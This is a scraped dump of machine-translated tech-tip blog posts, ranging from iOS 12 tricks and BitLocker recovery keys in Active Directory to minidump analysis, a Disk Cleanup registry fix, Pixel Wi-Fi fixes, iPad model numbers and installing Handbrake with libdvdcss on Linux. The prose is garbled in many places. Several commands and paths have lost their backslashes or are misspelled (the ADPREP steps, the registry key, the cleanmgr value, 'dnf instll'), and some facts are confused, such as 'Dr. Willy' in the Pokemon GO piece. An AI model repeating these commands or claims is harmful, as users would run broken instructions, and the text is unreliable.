notice that your battery is not 'buffed' as usual, something is wrong, you immediately want to know which application is responsible for this dog.With iOS 12, you won't have to install any other application to manage all battery problems.\nWith this new update, you'll get more information about the battery than before, such as analysis and graphs that illustrate detailed information about battery usage in the last twenty-four hours or eight days.Below the chart, you will also see the time that the screen was turned on as well as the time the device was in standby status.This is also useful because you will know how you used your iOS device, there is too much or not.\nEnable the feature to temporarily not disturb   \nTo set up temporarily without disturbing, swipe down from the top right of the screen to open the control center (Control Center), then press and hold the moon shaped icon.Depending on your location, status and time, you will see different options.\nAs in the example above, you will get options like 'Until this evening / afternoon / morning,' 'Until the end of this event,' 'For one hour,' and 'Until I leave this location'.However, you may see different options depending on your specific situation.\nAdd shortcut for QR code in Control Center   \nShortcuts for QR codes will not be in the control center by default, but you need to manually add them.Go toSettings -\u0026gt; Control Center -\u0026gt; More Controls -\u0026gt; Scan QR Code .Swipe down from the top right of your screen and the QR code shortcut appears there.\nCreate a self-destruct memo   \nSometimes our memo entries are quite messy because old records that are not used are not deleted.Remember that you can set these records to self-destruct after a certain period of time.Go toSettings -\u0026gt; Voice Memos -\u0026gt; Clear Deletedand select the time period in which you want to keep the memo before they are automatically deleted.\nsummary These new features on iOS 12 will help users have better experiences with this already wonderful ecosystem.Hopefully, in the next updates, iOS will have more features to further optimize the user experience.\nSee more:\nHow to create iPhone ringtones with iTunes Top best iOS emulators help run applications on Windows Instructions on how to recover deleted messages on iPhone How to transfer 11 subscribers to 10 numbers in the iPhone phone book ncG1vNJzZmismaXArq3KnmWcp51ku6bDjK2popubqHqwuoyipqxlYWd6urvUZqqhp6WhsW63zaiu\n","link":"/post/new-tricks-on-ios-12-you-should-know/","section":"post","tags":null,"title":"New tricks on iOS 12 you should know"},{"body":"If Ao Dai is national uniform, lotus flower is a typical image that is considered as the national flower of the Vietnamese nation.\nFrom the past, the image of the lotus flower has been associated with Vietnamese villages and people. Lotus is known as the 'flower of dawn', it is not difficult to find lotus in ponds and lakes, even marshes in Vietnam. Lotus flowers are a symbol of purity, solidarity and optimism for the future. The image of rustic pink lotus flowers with delicate petals floating on the water brings pure beauty, elegance and sweet fragrance that makes anyone once smell sniff.\nWith lotus you can use all of their parts like big leaves to cover the rain, fragrant lotus flowers to marinate tea, lotus is a dish associated with childhood, finally looking at a lotus The dish is very much loved.\nIn the following article, the network administrator has collected and sent you a desktop wallpaper collection with a lotus theme. Lotus, lotus buds and lotus buds are squeezing under the lush green-leaf ships in the blazing sunshine of the summer, exuding a pure and pure look, captivating everyone.\nHere are some wallpapers taken from the gallery, reduced in size for your reference. If you like, you can visit the link at the end of our article to download the high resolution lotus wallpaper.\n                                                            If you love this lotus theme, you can download more wallpapers according to the link below.\nCombine cute pig wallpapers for phones and computers Beautiful dandelion flower wallpaper for phones Download now a very vivid chibi wallpaper for your phone Super lovely wallpaper about the bow: Scorpion, Than Nong, Thien Yet and Thien Hat ncG1vNJzZmismaXArq3KnmWcp51kwamxjKamrKxdl7KiwdOina6kXaG8tcHSZq6apJylrrGx0WadqKpdmLyuvNStnKurXa68tnnCmqWtZZ2ewLQ%3D\n","link":"/post/the-most-beautiful-lotus-wallpaper-for-computers-you-can-t-miss/","section":"post","tags":null,"title":"The most beautiful lotus wallpaper for computers you can't miss"},{"body":"In the third part of this series, I will show you how to save BitLocker Recovery keys in the Active Directory database.\n\u0026gt;\u0026gt; Using BitLocker to encrypt external storage drives - Part 1\n\u0026gt;\u0026gt; Using BitLocker to encrypt external storage drives - Part 2\nIn the previous article of this series, I showed you how to adjust how BitLocker is used in the organization through group policy settings. As we said at the end of the previous section, one of the big problems with storage device encryption is the potential for data loss.\nAs you know, BitLocker encrypted devices will be password protected. However, the problem here is that users can very much forget their passwords and become the victims of encryption themselves, they cannot get the data in the device they have encrypted. If you stop and think about it, the encrypted data that cannot be decrypted will be no different from the data being corrupted.\nIf you go back to the first part of this series, you'll see that when you encrypt a drive with BitLocker, Windows will display a message, as shown in Figure A below, that tells you that When you forget your password, users can use the recovery key to access the drive. Windows not only automatically provides you with this recovery key, but it also forces you to print a paper recovery key or save it to a file.\n   Figure A: BitLocker protects users from data loss by providing them with recovery keys It is a good idea to create a recovery key to avoid losing data, but in the real world it is not realistic. Losing the encryption key can have a serious consequence in the corporate environment, where data is irreplaceable. However, thank you for not having to rely on users to track their recovery keys, but to save recovery keys in Active Directory.\nPrepare Active Directory\nBefore going to configure BitLocker to save recovery keys in Active Directory, we need to do some preparatory work. We make sure you know this, BitLocker to Go was first introduced in Windows 7 and Windows Server 2008 R2. It is added with the reason for supporting BitLocker to Go key recovery at Active Directory level, then you will need to run some Windows Server 2008 R2 code on your domain controllers.\nBelieve it or not, you don't have to upgrade all domain controllers to Windows Server 2008 R2 unless you want to. Instead, you can use the Windows Server 2008 R2 installation DVD to extend the Active Directory schema on the domain controller that is acting as the schema master for your Active Directory forest.\nBefore I show you how to extend the Active Directory schema, we need to warn you that this procedure assumes that all domain controllers are running Windows 2000 Server SP4 or higher. If there are only old domain controllers, you need to upgrade them to be able to implement the necessary schema extensions.\nYou should also perform a full system state backup of domain controllers before extending the Active Directory schema. This is to prevent if something goes wrong during the expansion process, you can still restore your previous state.\nWith these preparations, you can extend the Active Directory schema by inserting your Windows Server 2008 R2 installation DVD into the schema master. Then, open the Command Prompt prompt window using the Run As Administrator option and enter the following command (here D: is the drive containing the installation disc):\nD: \n CD \n CD SUPPORTADPREP \n ADPREP / FORESTPREP\nWhen the ADPrep utility loads, you will be asked to verify that domain controllers are running the appropriate versions of Windows Server. Simply press C and then press Enter to begin the schema expansion process, as shown in Figure B. The entire schema expansion process will only take a few minutes to complete.\n   Figure B: The Active Directory schema must be expanded before BitLocker keys are stored in Active Directory Group policy configuration (Group Policy)\nSimply expanding the Active Directory schema does not require BitLocker to save recovery keys in Active Directory. So in order to get what we want, we need to configure some group policy settings.\nBegin the process by loading the group policy used for your workstations in the Group Policy Management Editor. Navigate through the interface tree to Computer Configuration | Policies | Administrative Templates: Policy Definitions | Windows Components | BitLocker Drive Encryption | Removable Data Drives . As you may recall, we introduced most of the individual policy settings in the previous article of this series.\nAt this point, you need to enable the Deny Write Access setting to Removable Drives Not Protected by BitLocker , as shown in Figure C. Indeed, this is not a mandatory requirement, but it will give you a way to Forcing users to encrypt their USB drives. If you require users to use BitLocker encryption, you should also select the Do Not Allow Write Access to Devices Configured in Another Organization option . Again, this is not a mandatory option, but it will help you improve security.\n Figure C: If you want to execute backup encryption for external drives, you need to enable the Deny Write Access setting to Removable Drives Not Protected by BitLocker. The next step in the process is to activate the Choose How BitLocker Removable Drives Can Be Recovered setting. If you look at Figure D, you will see the dialog box displayed when you double-click the Deny Write Access setting to Removable Drives Not Protected by BitLocker . As you can see in the figure, there are a series of checkboxes that you can select when this group policy setting is enabled.\n   Figure D: There are three options you should activate If the goal is to save a copy of each recovery key in Active Directory, then there are indeed three options that you need to enable. The first is the Allow Data Recovery Agent option . This option is selected by default, but this is an important option for the success of the entire key recovery process, so you need to verify that it is enabled.\nNext, you need to select Save BitLocker Recovery Information to AD DS for Removable Data Drives . As you can guess, this is the option to save BitLocker recovery keys to Active Directory.\nFinally, you need to select the Do Not Enable BitLocker Until Recovery Information Is Stored To AD option for AD DS For Removable Data Drives . This option will force Windows to confirm that the recovery has been written to Active Directory before BitLocker is allowed to encrypt the external drive.\nAlthough not required, some administrators can also enable the Omit Recovery Option From The BitLocker Setup Wizard . This will prevent users from saving or printing their recovery key copies.\nConclude\nIn this article, I have shown you how to configure Active Directory to save BitLocker recovery keys for external drives. In Part 4 of this series, we will show you how this process works.\nncG1vNJzZmismaXArq3KnmWcp51kwrSxjJugraSfmLimvoytpmadnpi%2FurzTZpyxrJWnu6K4jKyrqKqRnLJusNGirZ6rXaWus8CMbA%3D%3D\n","link":"/post/use-bitlocker-to-encrypt-external-storage-drives/","section":"post","tags":null,"title":"Use BitLocker to encrypt external storage drives"},{"body":"We often compare, forgetting in a person often called the \"goldfish brain\". Many people believe that people with 'goldfish brain' often have abnormal brain activity or remember, forget like the Alzheimer's. But in fact, this is completely wrong, these 'goldfish brain' people have a brain that works very well. Not remembering small details may be a sign that the brain works better in separating minutiae from major events.\nThis has been studied from the University of Toronto in Canada and published in the journal Neuron.\n  According to the study, they found that the development of new neurons in the hippocampus region - a part of the brain involved in memory - seems to motivate forgetting. The goal is to have room for more important information and remove more useless things.\nIn 2007, researchers used functional magnetic resonance imaging (fMRI) to monitor the brains of 20 healthy adults while they performed a simple memory test. The results show that people remember better for conflicting information, not for repeated or easy information.\n  Forgetting sometimes gives us a lot of useful things. For a human being, if you want to get rid of previous useless information, like a sad story is over. If your brain constantly remembers these things will make you more miserable, and in fact not necessary. Forgetting this information also helps you to easily generalize previous events, such as the number of visits to the store, not the details of each visit.\nSo don't worry too much when you forget something and get teased by the \"goldfish brain\". In fact, you have a brain that works well and that forgetfulness is just to save storage space for the most important information.\nncG1vNJzZmismaXArq3KnmWcp51kxrDBjJqpnmWfm8GmuoytnJqrlZl6or%2BMrZ%2BeZZekuaWyyKyfZpqilravecOoZKenpGKvpnnSmptmrJiewG61zZ2gnJmkmsBuxc6uZKGZppp6onnBq5iipl2ptaLAjLCmq6OjYsOmvthmrp6knA%3D%3D\n","link":"/post/you-are-often-teased-as-the-goldfish-brain-do-not-be-sad-this-indicates-you-have-a-brain-that-works-very-well/","section":"post","tags":null,"title":"You are often teased as the 'goldfish brain', do not be sad this indicates you have a brain that works very well"},{"body":"Pokemon GO is not simply a game of hunting and catching real-world Pokemon, but hidden in the game is a lot of other secrets. When you are strong enough, you will receive a request to join one of the 3 teams in Pokemon GO.\nIn Pokemon GO, there are 3 separate teams that you will be selected when reaching Level 5: Team Mystic (blue team) with ice symbol Articuno, Team Valor (red team) with the symbol Moltres fire birds and Team Instinct (yellow team) with the symbol Zapdos.\nIn the first time you enter the Gym, Dr. Willy will introduce you to his secretary and force you to make your choice between the three teams.\nAfter selecting your team, you can NOT change to another team. That's why you should carefully consider your decision carefully before joining 1 of 3 teams.\n  1. Team Instinct (yellow team)   Spark is the leader of Team Instinct, the yellow team. Instinct means 'Instinct' and the meaning of Team Instinct is to believe in their own instincts to fight. If you feel that fighting Pokémon is a natural talent, and you can win any opponent, Team Instinct is the 'path' for you.\nTeam Instinct's mascot is the powerful and powerful Zapdos.\n2. Team Mystic (blue team)   The person in charge of Team Mystic is Blanche, known as a brilliant intelligent person. This blue team is extremely focused on tactics and evolution for their Pokémon, the members of this team are always a threat to all gamers.\nIf you are interested in the processes behind the ring to help your Pokémon get stronger every day, remember to always keep yourself in a calm state, ready to find solutions in every battle.\nTeam Mystic's mascot is the legendary Articuno ice bird.\n3. Team Valor (red team)   The head of this red team is Candela known as 'master' in training Pokemon. When joining Team Valor, your Pokemon will be best trained.\nTeam Valor's mascot is Moltres, the powerful phoenix.\nAfter selecting the team you joined, you will have to focus more on Pokemon Go now. And remember, you are fighting not only for personal honor, but you are also fighting for the honor of the whole team you join.\nRefer to some of the following articles: What will you do when there are multiple Pokemon in Pokemon GO? How to catch Pokemon rare in Pokemon GO Summary - How to play Pokemon GO, virtual reality game catch Pokemon on smartphone Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kxrDBjJqpnmWnpLulsdGipaBlp52ytbTEq2Stp12YtbC70p5kraCVYr%2BmsIygqZ6dnmK8s3nYnqOlp6diwaatzGagp2WgpLimuc6nZKCnXaeyorCMrZ%2Biq12Wv7W1wqWc\n","link":"/post/you-are-wondering-whether-to-choose-the-red-green-or-yellow-team-in-pokemon-go-read-this-article/","section":"post","tags":null,"title":"You are wondering whether to choose the red, green or yellow team in Pokemon Go, read this article"},{"body":"If your Android device is too hot, it will cause your device to quickly deteriorate and quickly fail. It can even be dangerous for users.\nSo how to make your Android device not too hot and extend the life of your Android phone or tablet. Please refer to the following article of Network Administrator.\n1. Cool your Android device with the Cooler Master app   Cooler Mastter is the app that helps cool your Android devices. When you launch the application, the first thing you need to notice is the temperature of your device.\nAt the bottom of the Android device screen you will see the option Detect Overheating Apps . After you click that option, the application will scan your entire device and inform you which applications are causing your Android device to get hot.\n2. Keep your device in a cool place Keeping your device in a cool place is also one of the ways to cool your device. Avoid putting your Android device near places that are directly exposed to the sun.\nIn addition, you can remove the Android device cover to prevent it from getting hot.\n3. Update or remove applications on your device   Sometimes letting too many apps on your Android device not only cause the device to run out of battery, but it also causes your device to get hot.\nTherefore you should uninstall applications that you do not use or remove applications that you occasionally touch.\nWith applications that let you automatically update the mode, you should turn it off because sometimes too many apps update at the same time, not only will your device get hot but also be stifled, even hang up.\nRefer to turning off automatic Android app updates here.\n4. Cooling by placing the device before the fan This is one of the first ways that most users think of when their device or phone is hot. It sounds silly, but this way cool your device quickly.\n5. How to prevent your Android devices from getting hot? To reduce the heat of Android devices, you can refer to some of the following:\nDisable applications and unnecessary features. Replace the battery to extend the life of the device. Do not play gaming tablets or Android phones for too long. Set up the camera in low mode. Charge the Android device battery properly. Refer to some of the following articles:  Trick to recover lost data on Android device   Instructions for using USB Flash drive with Android device   Use Google to search for lost Android phones  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kxrDB0WaYp5yipLalecOeraKblWK2tHnTqKZmoJ%2BperW0yKxkoqtdlnqntdc%3D\n","link":"/post/your-android-device-is-too-hot-this-is-a-fix/","section":"post","tags":null,"title":"Your Android device is too hot, this is a fix"},{"body":"You may or may not be familiar with the word 'memory dump'. But, you should know that it is a very important thing. This article talks about how to create a memory dump / minidump file, read it and analyze it. Also, you will know why it is so important.\nUsers who were faced with a dead blue screen error, may have heard about memory dump. But, most other people don't know about it. So, before going to the main points, you should have some basic knowledge about the dump file on Windows.\nAnalysis of Memory Dump file (* .dmp) What is Dump memory in Windows? 1. Complete Memory Dump 2. Kernel Memory Dump 3. Small memory dump  How to create Small Memory Dump / Minidump file How to read and analyze Minidump files Use BlueScreen Viewer Find related drivers  What is Dump memory in Windows? When a system or application crashes, it stores and displays content in a file. This process is called memory dump. When a system failure or a blue screen error occurs, Windows stores information related to the problem on a file. It is like a log file. After that, the user or expert can analyze the dump file to determine the real reasons for the system error. In Windows, there are several types of memory dump files, including:\n1. Complete Memory Dump It is the largest dump file in Windows. It contains all memory related information. Complete Memory Dump has many advantages. But, sometimes, it can occupy a considerable amount of drive space.\n2. Kernel Memory Dump It is much smaller than Complete Memory Dump. It contains all information about the memory usage of the kernel at the time the system is broken or an error occurs.\n3. Small memory dump Small memory dump is the smallest size. It contains some basic information about drivers, kernel, etc. In general, its size is usually 128 or 256KB. It helps identify driver-related errors, like a dead blue screen error.\nHow to create Small Memory Dump / Minidump file Technically, you will not have to create a Small Memory Dump file. Windows will do it automatically. You only need to configure Windows so that it creates Small Memory Dump or Minidump files. The following is a guide on how to do it.\n  First, open the Start menu , type sysdm.cpl and press Enter. Then, the System Properties window will open. Now, go to the Advanced tab and click Settings in the Startup and Recovery section. Then, click the drop-down option in the Write debugging information section . Select Small Memory Dump (256KB) . Then, click OK. In general, the location of the minidump file is usually % SystemRoot% Minidump by default. That means you can find the dump file in C: WindowsMinidump. But, you can change this if you want.\nHow to read and analyze Minidump files You have just configured your PC to create Small Memory Dump file. Therefore, it will store all memory-related information on a single file when you encounter a dead blue screen error. But, then, what will you do? How can you read it? How do you know what is causing the problem? This is really a very easy process.\nUse BlueScreen Viewer NirSoft has created a simple program called \"BlueScreen Viewer\", which can read and analyze Small Memory Dump file. You can download it from: http://www.nirsoft.net/utils/blue_screen_view.html#DownloadLinks. Then, unzip and open it on your computer. Next, just browse the minidump file and read it.\n  When you have a minidump file in BlueScreen Viewer, it will show you a series of basic data. You will find problematic files that have caused the latest blue screen death error to be marked.\nFind related drivers The problem is that when you analyze the dump file, it will highlight the .sys file name . It really involves a driver on your computer. For example, bcmwl63a.sys is related to the Wireless Broadcom WiFi driver. But, How do you understand it? There are two easy ways you can do the following:\nFirst, go to C: WindowsSystem32drivers. You will see a list of .sys files. Just find one of the highlighted files in Bluescreen Viewer. Then, right click on it and go to its properties section. Then, click the Details tab . You will see information about the driver in the description. If you don't like this way, you can search on Google .sys driver name. It will help find the exact name of the problem driver.\nSurely, you understand that a Minidump file is very important in determining the reason for causing a Windows error. After finding a problem driver, you can update it, restore or uninstall to solve your problem.\nHope this article will help you create Small Memory Dump file easily. It will also help identify and fix various system problems on Windows.\nGood luck!\nSee more:\nUse the WinDBG debugger to fix the blue screen error Trick to fix 'blank' windows error Use the RecoverServer switch to restore Exchange 2007 ncG1vNJzZmismaXArq3KnmWcp51krq%2Bty7KqoqtdpLNuucSmpquxXZnCrryMn6ClnV1feqW5zw%3D%3D\n","link":"/post/analysis-of-memory-dump-file-dmp/","section":"post","tags":null,"title":"Analysis of Memory Dump file (* .dmp)"},{"body":"In some cases, Disk Cleanup is missing on the Drive Properties dialog box on Windwows 10/8/7. The cause of this error is probably because the Registry has been corrupted. To fix this error, please refer to the following article of Network Administrator.\nFix the Disk Cleanup missing error Note:\nBefore proceeding, you need to create a System Restore Point or back up the Registry.\nSee also: Instructions to create backup and restore points (Restore Point) on Windows 10\n  First run regedit to open the Registry Editor. Then on the Registry Editor interface, navigate to the key:\nHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerMyComputer\nNext right-click My computer =\u0026gt; New =\u0026gt; Key and name this new key cleanuppath.\nAt the Cleanuppath key, in the right pane, double-click on Default value, at this time the Edit String dialog box appears, in the Value Data box, copy and paste the following path into:\n% SystemRoot% System32cleanmgr.exe / D% c\nThen click OK and exit the window.\nFrom now on you can see that Disk Cleanup appears on the Drive Properties dialog box.\n  Refer to some of the following articles: How to turn on POP / IMAP Gmail to use in Outlook 10 solutions for troubleshooting DNS Resolution How to fix the screen error of Windows 7/8 / 8.1 / 10 is black Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksrO%2BzqtkpqGjqLavs4ydoKyjXZi5pq3Nrqdmp55ixKq6w6iurGVhZYV4edOhoKxlmah6onnFoq8%3D\n","link":"/post/error-missing-disk-cleanup-on-windows-10-8-7-this-is-a-fix/","section":"post","tags":null,"title":"Error missing Disk Cleanup on Windows 10/8/7, this is a fix"},{"body":"Google Pixel is a new phone from Google that has just been launched not long ago. On Google Pixel, Google integrates more \"unique\" features such as unlimited storage of images and videos, Smart Storage, Google Assistant, Pixel Launcher, .\nHowever, like other smart phones, in the process of using the device the user cannot avoid errors. One of the most common errors is that the WiFi connection error does not work . In the following article, Network Administrator will guide how to fix this error.\nFix Wifi error on Google Pixel   \n1. Turn off Wifi and airplane mode The simplest and most effective solution to fix Wifi error on Google Pixel phone is to turn off Wifi then proceed to reopen Wifi again.\nIf the Wifi error persists, you can switch to open flight mode , then wait about 30 minutes then turn off the airplane mode and check for errors.\n2. Restart Google Pixel The next solution to fix Wifi error on Google Pixel is to restart the device and wait until the Wifi connection is established . Then check whether Wifi is working or not.\n3. Check Power Saving Mode It is possible when you enable the Power Saving feature and you forget to remove the Wifi restrictions , and this is the reason why Wifi will not work.\nAccess Settings, then click Battery =\u0026gt; Power Saving Mode . Find and change the Data restrictions status to OFF (if the initial state is ON).\nFinally check if Wifi error is still there.\n4. Forgot network then reconnect Some users reflect that after they forget to connect to Wifi, then reconnecting to Wifi also fix Wifi error on Google Pixel phone.\nNote : In this way you need to remember the Wifi connection password.\nFirst access the Settings Menu on your Pixel phone, then click to select Wifi . Now you will see the Wifi name you are trying to connect to. Click and hold the Wi-Fi network name on that connection, then select Forget network (forget the network).\nNext turn off Wifi and wait about 5 seconds, then proceed to reopen Wifi. Click the Wifi name you want to connect, then enter the password to connect and check if the error is still there.\n5. Check Wifi Timer Google Pixel is integrated Wifi Timer to support turning off Wifi after a certain period of time. To check whether Wifi Timer on your phone is enabled or disabled, access the Settings Menu =\u0026gt; Open Wifi . Next, select the Menu key (i-shaped icon) =\u0026gt; Advanced . Find Wifi Timer and switch the status to OFF if the initial state of the option is ON.\n6. Check the date and time settings Wrong date and time settings can cause the Wifi connection error on Google Pixel phones. So to fix the error you try to check if the date and time settings on your Pixel phone are correct.\nIf the date and time setting is wrong, proceed to reset correctly and try connecting again to see if the error still occurs.\nRefer to some of the following articles: Automatic timer to turn on Wifi after 1 hour, 4 hours or 1 day on Windows 10 This is a way to prevent hackers from stealing your data when using public Wifi Complete how to fix Wifi error on iOS 10 Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjLCgn6Fdmr%2Bzu9Fmpqdll6S8qLjEZqeisJWh\n","link":"/post/fix-wifi-error-on-google-pixel/","section":"post","tags":null,"title":"Fix Wifi error on Google Pixel"},{"body":"Google Drive allows users to log in to many of their accounts for easy control, but if they are no longer used, users can delete accounts from Google Drive to avoid being monitored. To delete your Google Drive account, follow the instructions below.\nFull list of Google Drive clients for Linux How to play Dropbox music, Google Drive on iPhone How to print documents in addition to a photo shop without USB or Email How to delete Google Drive account on iPhone Step 1: First select the avatar icon in Google Drive, next in the account management list, click Manage accounts on this device .\n   Step 2: Next in the account list, click Delete from this device in the account you want to delete, then click Delete to confirm.\n   Step 3: Immediately after that you will see the message deleting the account below.\n  Just a few simple steps you can delete your Google Drive account from your device, if you want to log in again, just click Add another account to login again.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYyampynpaPBbrjOoGSoraRivKd5xqimoKSVYrGztdWeZJqbk6TCr8CMqKVmoaCdvK%2Bx\n","link":"/post/how-to-delete-account-log-out-of-google-drive-account-on-iphone/","section":"post","tags":null,"title":"How to delete account, log out of Google Drive account on iPhone"},{"body":"  Understand how different model numbers appear. Each iPad comes in several different versions, usually including a Wi-Fi-only version and a version that supports both Wi-Fi and cellular data. This is why there are several different model numbers for the same iPad (such as the iPad Mini series).\niPad age (based on model number) does not change the physical size of the device (for example, an iPad Air cellular is about the same size as an iPad Air Wi-Fi).\n  Remove the iPad case or leather case, if applicable. The model number is located at the bottom of the back of the iPad case, so anything that covers this area needs to be removed.\n  Determine the model number of the machine. At the bottom of the back of the iPad is some text; The model number is to the right of the first line, right next to the word \"Model\".\nThe model number will be in the form A1234.\n  Match the iPad model number with the appropriate model number. As of April 2017, the current iPad models have the following corresponding model numbers:\niPad Pro 9.7-inch - A1673 (Wi-Fi only); A1674 or A1675 (Wi-Fi and cellular).\niPad Pro 12.9-inch - A1584 (Wi-Fi only); A1652 (Wi-Fi and cellular).\niPad Air 2 - A1566 (Wi-Fi only); A1567 (Wi-Fi and cellular).\niPad Air - A1474 (Wi-Fi only); A1475 (Wi-Fi and general cellular) A1476 (Wi-Fi and TD/LTE networks).\niPad mini 4 - A1538 (Wi-Fi only); A1550 (Wi-Fi and cellular).\niPad mini 3 - A1599 (Wi-Fi only); A1600 (Wi-Fi and cellular).\niPad mini 2 - A1489 (Wi-Fi only); A1490 (Wi-Fi and universal cellular); A1491 (Wi-Fi and TD/LTE networks).\niPad mini - A1432 (Wi-Fi only); A1454 (Wi-Fi and universal cellular); A1455 (Wi-Fi and MM cellular – various cellular data standards).\niPad Generation 5 - A1822 (Wi-Fi only); A1823 (Wi-Fi and cellular).\niPad Generation 4 - A1458 (Wi-Fi only); A1459 (Wi-Fi and universal cellular); A1460 (Wi-Fi and various cellular data standards).\niPad Generation 3 - A1416 (Wi-Fi only); A1430 (Wi-Fi and universal cellular); A1403 (Wi-Fi and VZ network).\niPad Generation 2 - A1395 (Wi-Fi only); A1396 (GSM network); A1397 (CDMA network).\nOriginal iPad - A1219 (Wi-Fi only); A1337 (Wi-Fi and 3G network).\n  Apply iPad model numbers to underpin hardware decisions. For example, if you're planning to buy a charger or a specific case/case for your tablet, knowing your iPad's model number will help you determine the size or type of product to buy.\nDetermine software version   Open the settings in the iPad. Apps are gray with gears, usually on the Home screen.\n  Click the General tab on the left side of the page.\n  Click the About section at the top of the \"General\" page.\n  See the \"Version\" number. The number to the right of the \"Version\" tab on this page is the tablet's software version (eg 10.3.1). The iOS version determines the visibility and functionality of the programs and functions in the iPad.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVqbKzucinnGahoJaxbrnOnZylZaaav7S1zqc%3D\n","link":"/post/how-to-determine-ipad-model-version/","section":"post","tags":null,"title":"How to Determine iPad Model / Version"},{"body":"Handbrake is a powerful open source tool for encoding and editing videos. It includes a graphical control panel to manage encryption and even preview the results. Part of what makes Handbrake popular in the Linux world is its ability to encode DVDs, making it one of the best tools available for DVD ripping.\nThe legitimacy of DVD ripping may not be recognized in some countries. The purpose of this article is to guide you how to create copies of DVD archives that you own legally, but be sure to know the rules before continuing.\nPlease note that Handbrake is also available for Windows and macOS.\nInstructions for installing Handbrake on Linux Install Handbrake Ubuntu Debian Fedora Arch Linux  Discover Handbrake Load source Select presets Add a title to the queue Install Handbrake This tutorial is based on Handbrake, but will also need additional tools. VLC developers have created a library, libdvdcss, to decode copyright-protected DVDs for playback. Handbrake also relies on it to decode DVDs, so users will need it too.\nUbuntu Handbrake is available in Ubuntu, but libdvdcss are not. Instead, Ubuntu provides a script for users to build packages themselves. Don't worry, it's all automatic. Let's start by installing libdvd-pkg.\nsudo apt install libdvd-pkg    A menu appears in the terminal asking if you want to continue. Agree with everything and continue. When done, you'll need to reconfigure the package to build and install libdvdcss.\nsudo dpkg-reconfigure libdvd-pkg    Finally, install Handbrake.\nsudo apt install handbrake  Debian Debian has an excellent multimedia repository, maintained by one of the Debian developers. You can add it to your system, as well as install Handbrake and libdvdcss. Start by downloading the archive key. It comes in a .deb package .\ncd ~/Downloads wget http://www.deb-multimedia.org/pool/main/d/deb-multimedia-keyring/deb-multimedia-keyring_2016.8.1_all.deb  Install the package to enter the key.\nsudo dpkg -i deb-multimedia-keyring_2016.8.1_all.deb  Use your favorite text editor to create a new file at '/etc/apt/sources.list.d/multimedia.list'. Open this file and add the following line. Enter 'stretch,' 'testing' or 'sid', suitable for the Debian version.\ndeb http://www.deb-multimedia.org stretch(testing/sid) main non-free  Update Apt and install both packages.\nsudo apt update sudo apt install libdvdcss2 handbrake-gtk  Fedora Both packages are available on Fedora through the RPM Fusion repository. Start by activating it on the system.\nsudo dnf install https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-$(rpm -E %fedora).noarch.rpm  libdvdcss found in the RPM Fusion repo \"tainted\". Users also need to add it via a package from regular Fusion RPM.\nsudo dnf instll rpmfusion-free-release-tainted    It is now possible to install Handbrake and libdvdcss.\nsudo dnf install libdvdcss handbrake-gui  Arch Linux Arch Linux has both packages in common stock. Just install them.\nsudo pacman -S libdvdcss handbrake  Discover Handbrake   Open Handbrake. You can find it in the 'Multimedia' category on the application menu. When Handbrake opens, everything looks complicated at first, but if you start exploring it, you will find it really simple.\nLoad source Start by selecting the source. This may be a source file, but in this case, it is a DVD drive. You can see an 'Open Source' button in the upper left corner of the screen. Click it.\n  A new window will open for you to browse to your source. There are several shortcuts to the DVD drive. First, if there is a DVD in the drive, it will appear with the DVD title on the left side of the window. Click it and select 'VIDEO_TS' to open it.\nYou can also use the ' Detected DVD devices ' drop-down menu at the bottom of the window. If the drive is already selected, you can open it from there. Otherwise, the drive can be found in the drop-down menu. It usually looks like '/ dev / sr0'.\nAfter selecting, the drive will work and start reading the DVD. A progress bar will appear at the top of the Handbrake window when the DVD is loaded. When you're done, you'll see the DVD title listed as the source on the upper left.\nSelect presets   Handbrake has presets (presets) with a common frame rate, frame rate and support for certain devices. The user will find a preset list in the upper right corner of the Handbrake window.\nScroll through and see what suits the purpose of use. If you just want to make a copy for the DVD, you can choose the ' Fast 1080p30 ' preset by default. It will create a quality 1080p copy of the DVD. If your DVD is an old standard DVD resolution, Handbrake will use the original size of the DVD and copy it as it is.\nAdd a title to the queue Go back to the upper left corner of the screen and see the 'Title' drop-down section just below the 'Source' section along with the DVD title.\n  DVDs are divided into titles. These are individual videos on DVD and most of them are just 'junk files' from menus. Selecting the titles containing the desired content depends on the user. The easiest way to do this is based on the title. If the DVD is a movie, the title to choose will have the same time as the full movie. If you're looking for episodes of a TV show, look for titles that are the same length as an episode. Once you've found the right title, select it.\nUnder the drop-down section of the title, see the heading 'Destination'. There, you can name your file, select the destination for the video, can put it anywhere with enough free space.\nAfter everything is fine, press the ' Add To Queue ' button in the menu at the top of the window. It is located right next to 'Open Source'. If you're processing TV episodes, repeat these steps for each episode and add each episode to the queue.\n  Now, the user has all the titles that want to be backed up in the queue and can start extracting. If you want to check the queue again, click the 'Show Queue' button on the top menu. It will display all the titles and output file names.\nClick 'Start Encoding' in the top menu to start ripping DVDs. It will take a long time to complete all tasks, depending on the speed of the DVD drive and CPU. When the application has done all the work, it will display a success message. At that time, users can freely take out DVD and / or close Handbrake.\nYou now know how to back up DVDs or watch the digital version of DVDs on your device. Be sure to understand the relevant laws before doing this and never distribute copied DVDs.\nGood luck!\nSee more:\nHow to install Slack on Linux How to install Spotify on Linux How to install and use TeamViewer on Linux ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmn5qmlJe%2ForfEZqanZZyeu7bE\n","link":"/post/how-to-install-handbrake-on-linux/","section":"post","tags":null,"title":"How to install Handbrake on Linux"},{"body":"In the article below, TipsMake will guide how to set up and connect AirPods Max on your devices.\nSoftware updates If you're going to install AirPods Max for the first time, make sure the connected device is running the latest software version.\nOn iOS devices\nIf you want to use the new AirPods Max with your iPhone, iPad, or iPod touch, your device must be running iOS 14.3 or later.\nTo check for software updates on your device, go to Settings, select General\u0026gt; Software Update and download any updates if needed.\n  On a Mac computer\nTo use AirPods Max, your Mac computer must be running macOS 11.1 or later. Check that the device is up to date, go to System Preferences from the Apple menu in the left corner of the screen, then click the Software Update window .\nIf there is an updated version available, click Update Now to download and allow the software to be installed when done.\n  On Apple 